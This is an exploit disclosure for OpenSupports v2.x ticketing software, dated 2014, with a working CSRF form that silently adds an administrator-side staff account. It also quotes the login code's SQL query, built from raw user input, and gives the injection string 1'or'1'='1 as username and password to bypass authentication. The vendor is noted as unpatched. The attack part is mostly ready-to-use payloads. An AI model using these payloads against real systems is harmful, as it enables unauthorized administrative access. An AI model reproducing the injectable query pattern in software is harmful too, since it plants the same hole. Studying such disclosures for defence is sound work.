[+] Author: TUNISIAN CYBER
[+] Exploit Title: OpenSupports v2.x AuthBypass/CSRF Vulnerabilities
[+] Date: 15-03-2014
[+] Category: WebApp
[+] Version: 2.x
[+] Tested on: KaliLinux/Windows 7 Pro
[+] CWE: CWE-302/CWE-89
[+] Vendor: http://www.opensupports.com/
[+] Friendly Sites: na3il.com,th3-creative.com
[+] Twitter: @TCYB3R
1.OVERVIEW:
OpenSupports v2.x suffers from a CSRF and authentication bypass Vulnerabilities.
2.Version:
2.x
3.Background:
http://www.opensupports.com/wiki/index.php?title=Main_Page
4.Proof Of Concept:
CSRF:Add Staff Members
<html>
<form method="POST" name="form0" action="http://www.opensupports.com/demo/admin/staffadmin.php?id=agregar">
<input type="hidden" name="nombre" value="TCYB3Rx20x"/>
<input type="hidden" name="email" value="g4k@hotmail.esxxx"/>
<input type='submit' name='Submit4' value="Agregar">
</form>
</html>
Authentication Bypass:
File: staff.php
[PHP]
if(isset($_POST['user'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$userreg=mysql_query("select * from staff WHERE user='$user' AND pass='$pass'") or die ("ERROR 1");
[PHP]
Username:1'or'1'='1
Password:1'or'1'='1
5.Solution(s):
no contact from vendor
6.TIME-LINE:
2014-13-03: Vulnerability was discovered.
2014-13-03: Contact with vendor.
2014-14-03: No reply.
2014-15-03: No reply.
2014-15-03: Vulnerability Published
7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
